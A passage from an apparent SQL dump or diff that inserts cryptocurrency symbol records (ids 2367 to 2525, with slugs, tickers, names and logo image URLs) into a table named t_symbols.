'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/novacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2367, 'huntercoin', 'HUC', 'HunterCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/chimaera_tech.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2368, 'aic', 'AIC', 'AI Crypto', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aic.png', NULL); +INSERT INTO `t_symbols` VALUES (2369, 'pomac', 'POMAC', 'POMA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pomac.png', NULL); +INSERT INTO `t_symbols` VALUES (2370, 'genix', 'GENIX', 'Genix', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/genix.png', NULL); +INSERT INTO `t_symbols` VALUES (2371, 'blitzpredict', 'XBP', 'BlitzPick', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blitzpredict.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2372, 'capricoin', 'CPS', 'Capricoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/capricoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2373, 'mytheriatoken', 'MYRA', 'Mytheria', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/mytheria.png', NULL); +INSERT INTO `t_symbols` VALUES (2374, 'opal', 'OPAL', 'Opal', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/opalcointeam.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2375, 'fidelium', 'FID', 'Fidelium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fidelium.png', NULL); +INSERT INTO `t_symbols` VALUES (2376, 'swippcoin', 'SWIPP', 'Swipp', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swippcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2377, 'pigeoncoin', 'PGN', 'Pigeoncoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pigeoncoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2378, 'olympus-labs', 'MOT', 'Olympus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/olympuslabsbc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2379, 'maincoin', 'MNC', 'Maincoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/maincoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2380, 'ulordtoken', 'UT', 'Ulord', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ulordtoken.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2381, 'bidipass', 'BDP', 'BidiPass', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bidipass.png', NULL); +INSERT INTO `t_symbols` VALUES (2382, 'mercury', 'MER', 'Mercury', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mercury.png', NULL); +INSERT INTO `t_symbols` VALUES (2383, 'dorado', 'DOR', 'Dorado', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dorado.png', NULL); +INSERT INTO `t_symbols` VALUES (2384, 'yfox-finance', 'YFOX', 'YFOX Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yfox-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (2385, 'pascal-lite', 'PASL', 'Pascal Lite', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pascal-lite.png', NULL); +INSERT INTO `t_symbols` VALUES (2386, 'briacoin', 'BRIA', 'BriaCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/BriaCoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2387, 'distributed-energy-coin', 'DEC', 'Distributed Energy Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/distributed-energy-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2388, 'xio', 'XIO', 'Blockzero Labs', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xio.png', NULL); +INSERT INTO `t_symbols` VALUES (2389, 'portal', 'PORTAL', 'Portal', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/portal.png', NULL); +INSERT INTO `t_symbols` VALUES (2390, 'dogdata', 'ETHBN', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/.png', NULL); +INSERT INTO `t_symbols` VALUES (2391, 'soferox', 'SFX', 'Soferox', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/soferox.png', NULL); +INSERT INTO `t_symbols` VALUES (2392, 'facts', 'BKC', 'FACTS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/a546bc7af4c04147c096b9171487012b.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2393, 'teslacoin', 'TES', 'Teslacoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/teslacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2394, 'posw-coin', 'POSW', 'PoSW Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/posw-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2395, 'alpha-token', 'A', 'Alpha Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alpha-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2396, 'ees', 'EES', 'ees', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ees.png', NULL); +INSERT INTO `t_symbols` VALUES (2397, 'all-sports', 'SOC', 'All Sports', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/all-sports.png', NULL); +INSERT INTO `t_symbols` VALUES (2398, 'golos', 'GOLOS', 'Golos', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/golos.png', NULL); +INSERT INTO `t_symbols` VALUES (2399, 'waletoken', 'WTN', 'Wale', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/waletoken.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2400, 'ylc', 'YLC', 'YOLOCash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ylc.png', NULL); +INSERT INTO `t_symbols` VALUES (2401, 'privatix', 'PRIX', 'Privatix', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/privatix.png', NULL); +INSERT INTO `t_symbols` VALUES (2402, 'yocoin', 'YOC', 'Yocoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2403, 'black-hole-coin', 'BHC', 'black-hole-coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/black-hole-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2404, 'ethergem', 'EGEM', 'EtherGem', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethergem.png', NULL); +INSERT INTO `t_symbols` VALUES (2405, 'masternodecoin', 'MTNC', 'Masternodecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/masternodecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2406, 'cvcoin', 'CVN', 'CVCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cvcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2407, 'gamestars', 'GST', 'Game Stars', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gamestars.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2408, 'akropolis-delphi', 'ADEL', 'Delphi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/akropolis-delphi.png', NULL); +INSERT INTO `t_symbols` VALUES (2409, 'escroco-emerald', 'ESCE', 'Escroco Emerald', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/escroco-emerald.png', NULL); +INSERT INTO `t_symbols` VALUES (2410, 'eureka-coin', 'ERK', 'Eureka Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eureka-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2411, 'eztoken', 'EZT', 'EZToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eztoken.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2412, 'ehalal', 'HAL', 'ehalal', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ehalal.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2413, 'nusd', 'NUSD-EXCLUDE', 'Neutral Dollar', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nusd.png', NULL); +INSERT INTO `t_symbols` VALUES (2414, 'nectar', 'NEC', 'Nectar', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nectar.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2415, 'ethbits', 'ETBS', 'Ethbits', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethbits.png', NULL); +INSERT INTO `t_symbols` VALUES (2416, 'bitgear', 'GEAR', 'Bitgear', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitgear.png', NULL); +INSERT INTO `t_symbols` VALUES (2417, '1x2-coin', '1X2', '1X2 COIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/1x2-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2418, 'crowd-machine', 'CMCT', 'Crowd Machine', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/crowd-machine.png', NULL); +INSERT INTO `t_symbols` VALUES (2419, 'pps', 'PPS', 'Prophet Set', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pps.png', NULL); +INSERT INTO `t_symbols` VALUES (2420, 'energo', 'TSL', 'Tesla TSL', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/energo.png', NULL); +INSERT INTO `t_symbols` VALUES (2421, 'befc', 'BEFC', 'befc', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/befc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2422, 'social-lending-network', 'SLT', 'SLT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/social-lending-network.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2423, 'blocklancer', 'LNC', 'Blocklancer', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blocklancer.png', NULL); +INSERT INTO `t_symbols` VALUES (2424, 'nullex', 'NLX', 'NulleX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nullex.png', NULL); +INSERT INTO `t_symbols` VALUES (2425, '300-token', '300', '300 Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/300-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2426, 'b3coin', 'KB3', 'B3Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/b3coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2427, 'abx', 'ABX', 'Arbidex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/abx.png', NULL); +INSERT INTO `t_symbols` VALUES (2428, 'odem', 'ODE', 'ODEM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/odem.png', NULL); +INSERT INTO `t_symbols` VALUES (2429, 'steepcoin', 'STEEP', 'SteepCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/steepcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2430, 'seal-network', 'SEAL', 'Seal Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/seal-network.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2431, 'reecore', 'REEX', 'Reecore', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/reecore.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2432, 'platinumbar', 'XPTX', 'PlatinumBAR', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/platinumbarxptx.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2433, 'mxm', 'MXM', 'MaxiMine', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mxm.png', NULL); +INSERT INTO `t_symbols` VALUES (2434, 'webflixtoken', 'WFX', 'WebFlix', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/webflixtoken.png', NULL); +INSERT INTO `t_symbols` VALUES (2435, 'nyxcoin', 'NYX', 'NYXCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nyxcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2436, 'flixxo', 'FLIXX', 'Flixxo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/flixxo.png', NULL); +INSERT INTO `t_symbols` VALUES (2437, 'degenvc', 'DGVC', 'DegenVC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/degenvc.png', NULL); +INSERT INTO `t_symbols` VALUES (2438, 'plancoin', 'PLAN', 'Plancoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/plancoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2439, 'bitsilver', 'BITSILVER', 'bitSilver', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2440, 'firstcoin', 'FRST', 'FirstCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/firstcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2441, 'unify', 'UNIFY', 'Unify', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unify.png', NULL); +INSERT INTO `t_symbols` VALUES (2442, 'skym', 'SKYM', 'SkyMap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/skym.png', NULL); +INSERT INTO `t_symbols` VALUES (2443, 'bounty0x', 'BNTY', 'Bounty0x', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bounty0x.png', NULL); +INSERT INTO `t_symbols` VALUES (2444, 'fxpay', 'FXP', 'FXPay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fxpay.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2445, 'cexcoin', 'CEX', 'cexcoin', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2446, 'gems-protocol', 'GEM', 'Gems', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gems-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (2447, 'ormeus-coin', 'ORME', 'Ormeus Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ormeus-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2448, 'entercoin', 'ENTRC', 'EnterCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/entercoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2449, 'bitcoin-classic', 'BXC', 'Bitcoin Classic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-classic.png', NULL); +INSERT INTO `t_symbols` VALUES (2450, 'amon', 'AMN', 'Amon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/amon.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2451, 'nxct', 'NXCT', 'XChain Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nxct.png', NULL); +INSERT INTO `t_symbols` VALUES (2452, 'thetimeschaincoin', 'TTC', 'TheTimesChainCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/thetimeschaincoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2453, 's4fe', 'S4F', 'S4FE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/s4fe.png', NULL); +INSERT INTO `t_symbols` VALUES (2454, 'mfcoin', 'MFC', 'MFCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mfcoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2455, 'jsecoin', 'JSE', 'JSEcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jsecoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2456, 'bitgold', 'BITGOLD', 'bitGold', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitgold.png', NULL); +INSERT INTO `t_symbols` VALUES (2457, 'devery', 'EVE', 'Devery', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/devery.png', NULL); +INSERT INTO `t_symbols` VALUES (2458, 'helbiz', 'HBZ', 'Helbiz', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hbz-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2459, 'mybit-token', 'MYB', 'MyBit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mybit-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2460, 'wisepass', 'PASS', 'Blockpass', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wisepass.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2461, 'campuscoin', 'CMPCO', 'CampusCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/CampusCoinORG.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2462, 'zurcoin', 'ZUR', 'Zurcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zurcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2463, 'helium', 'HLM', 'Helium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/helium.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2464, 'polis', 'POLIS', 'Polis', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/polis.png', NULL); +INSERT INTO `t_symbols` VALUES (2465, 'cryptodezirecash', 'CDZC', 'CryptoDezireCash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cryptodezirecash.png', NULL); +INSERT INTO `t_symbols` VALUES (2466, 'mesh-network', 'MTC', 'MTC Mesh Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mesh-network.png', NULL); +INSERT INTO `t_symbols` VALUES (2467, 'uptrennd', '1UP', 'Uptrennd', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/uptrennd.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2468, 'giant-coin', 'GIC', 'Giant', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/giant-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2469, 'all-best-ico', 'ALLBI', 'ALL BEST ICO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/all-best-ico.png', NULL); +INSERT INTO `t_symbols` VALUES (2470, 'echolink', 'EKO', 'EchoLink', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/echolink.png', NULL); +INSERT INTO `t_symbols` VALUES (2471, 'impleum', 'IMPL', 'Impleum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/impleum.png', NULL); +INSERT INTO `t_symbols` VALUES (2472, 'more', 'MORE', 'More Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/more.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2473, 'totem', 'TOTM', 'TotemFi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/totem.png', NULL); +INSERT INTO `t_symbols` VALUES (2474, 'bitwhite', 'BTW', 'BitWhite', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitwhite.png', NULL); +INSERT INTO `t_symbols` VALUES (2475, 'ethereum-cloud', 'ETY', 'ETY', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum-cloud.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2476, 'davinci-coin', 'DAC', 'Davinci Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/davinci-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2477, 'nitrogentoken', 'NITRO', 'nitrogentoken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nitrogentoken.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2478, 'cnct', 'CNCT', 'Connect', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cnct.png', NULL); +INSERT INTO `t_symbols` VALUES (2479, 'lunyr', 'LUN', 'LunarBrain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lunyr.png', NULL); +INSERT INTO `t_symbols` VALUES (2480, 'gamesky', 'SKY', 'gamesky', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2481, 'regalcoin', 'REC', 'Regalcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/regalcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2482, 'ardana-token', 'DANA', 'Ardana', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/ardana.png', NULL); +INSERT INTO `t_symbols` VALUES (2483, 'blazecoin', 'BLZ', 'BlazeCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blazecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2484, 'digiwage', 'WAGE', 'Digiwage', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/digiwage.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2485, 'faceter', 'FACE', 'Faceter', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/faceter.png', NULL); +INSERT INTO `t_symbols` VALUES (2486, 'hotelload', 'HLL', 'hotelload', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hotelload.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2487, 'octoin-coin', 'OCC', 'Octoin Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/octoin-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2488, 'unibot-cash', 'UNDB', 'UniDexBot', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unibot-cash.png', NULL); +INSERT INTO `t_symbols` VALUES (2489, 'skincoin', 'SKIN', 'SkinCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/skincoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2490, 'sgpay', 'SGP', 'SGPay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sgpay.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2491, 'ripto-bux', 'RBX', 'Ripto Bux', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/riptobux.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2492, 'roulettetoken', 'RLT', 'RouletteToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/roulettetoken.png', NULL); +INSERT INTO `t_symbols` VALUES (2493, 'lunch-money', 'LMY', 'Lunch Money', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lunch-money.png', NULL); +INSERT INTO `t_symbols` VALUES (2494, 'granitecoin', 'GRN', 'GraniteCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/granitecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2495, 'musiconomi', 'MCI', 'MCI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/musiconomi.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2496, 'rubies', 'RBIES', 'Rubies', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rubies.png', NULL); +INSERT INTO `t_symbols` VALUES (2497, 'krypton-galaxy-coin', 'KGC', 'Krypton Galaxy Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/krypton-galaxy-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2498, 'truedeck', 'TDP', 'TrueDeck', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/truedeck.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2499, 'cowry', 'COW', 'COWRY', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cowry.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2500, 'votecoin', 'VOT', 'VoteCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/vote_coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2501, 'coinchase', 'CCH', 'Coinchase Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coinchase.png', NULL); +INSERT INTO `t_symbols` VALUES (2502, 'thm', 'THM', 'Themis Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/thm.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2503, 'synthetify-token', 'SNY', 'Synthetify', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/synthetify-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2504, 'ultragate', 'ULG', 'Ultragate', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ultragate.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2505, 'desire', 'DSR', 'Desire', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/desire.png', NULL); +INSERT INTO `t_symbols` VALUES (2506, 'parkbyte', 'PKB', 'ParkByte', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/ParkByte_PKB.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2507, 'pirl', 'PIRL', 'Pirl', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/PirlOfficial.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2508, 'lkn', 'LKN', 'LinkCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lkn.png', NULL); +INSERT INTO `t_symbols` VALUES (2509, 'coin2-1', 'C2', 'Coin2.1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coin2-1.png', NULL); +INSERT INTO `t_symbols` VALUES (2510, 'revolvercoin', 'XRE', 'RevolverCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/revolvercoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2511, 'vostoken', 'VOST', 'vostoken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vostoken.png', NULL); +INSERT INTO `t_symbols` VALUES (2512, 'void-token', 'VOID', 'Void Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/void-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2513, 'selfsell', 'SSC', 'SelfSell', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/selfsell.png', NULL); +INSERT INTO `t_symbols` VALUES (2514, 'hellogold', 'HGT', 'HelloGold', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hellogold.png', NULL); +INSERT INTO `t_symbols` VALUES (2515, 'micromoney', 'AMM', 'MicroMoney', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/micromoney.png', NULL); +INSERT INTO `t_symbols` VALUES (2516, 'zuflo-coin', 'ZFL', 'Zuflo Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zuflo-coin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2517, 'cubiex', 'CBIX', 'Cubiex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/6edb20fbfa6809156328281a5c4bac95.png', NULL); +INSERT INTO `t_symbols` VALUES (2518, 'ginseng-chain', 'GST', 'ginseng-chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ginseng-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (2519, 'biotron', 'BTRN', 'Biotron', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/biotron.png', NULL); +INSERT INTO `t_symbols` VALUES (2520, 'xmct', 'XMCT', 'XMCT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xmct.png', NULL); +INSERT INTO `t_symbols` VALUES (2521, 'gimli', 'GIM', 'Gimli', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gimli.png', NULL); +INSERT INTO `t_symbols` VALUES (2522, 'translateme-network-token', 'TMN', 'TranslateMe Network Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/translateme-network-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2523, 'global-tour-coin', 'GTC', 'Global Tour Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/globaltourcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2524, 'dragon-coins', 'DRG', 'Dragon Coins', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dragon-coins.png', NULL); +INSERT INTO `t_symbols` VALUES (2525, 'globaltoken', 'GLT', 'GlobalToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/globaltoken.png', NULL); +INSERT INTO `t_symbols` VALUES (2526, 